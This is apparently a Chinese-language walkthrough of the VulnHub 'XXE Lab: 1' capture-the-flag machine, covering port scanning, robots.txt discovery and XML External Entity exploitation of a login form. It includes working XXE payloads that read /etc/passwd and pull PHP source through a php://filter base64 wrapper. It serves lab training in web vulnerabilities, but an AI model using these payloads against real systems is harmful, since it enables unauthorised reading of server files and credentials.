XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XXE Lab: 1
下载地址:https://download.vulnhub.com/xxe/XXE.zip
扫描子网段发现靶机IP为:172.16.12.132,对他进行详细扫描,发现共开发80、5355端口。
nmap -p- 172.16.12.132
 访问80端口发现为Ubuntu默认页面,先对其进行目录扫描。  发现robots.txt文件,在里面发现xxe目录及admin.php文件。 
User-agent: *
Allow: /
User-Agent: *
Disallow: /xxe/*
Disallow: /admin.php
访问XXE目录发现有登录页面,查看发送请求发现POST数据为XML格式。  使用BurpSuite抓包,构造POC获取/etc/passwd文件,发现存在XXE漏洞。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE x [
<!ELEMENT x ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
 构造伪协议获取admin.php源代码,使用Base64编码防止php代码被执行。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE x [
<!ELEMENT x ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
 解码后发现falg在/flagmeout.php文件中,再次获取flagmeout.php文件源代码  在flagmeout.php源代码中发现Base32编码的内容,解码后发现是Base64,再次解码,最终获得/etc/.flag.php 
Base32 JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
Base64 L2V0Yy8uZmxhZy5waHA=
明文 /etc/.flag.php
/etc/.flag.php内容如下图,为混淆后的PHP代码,把它放在PHP环境中运行,最终获得FLAG。  
|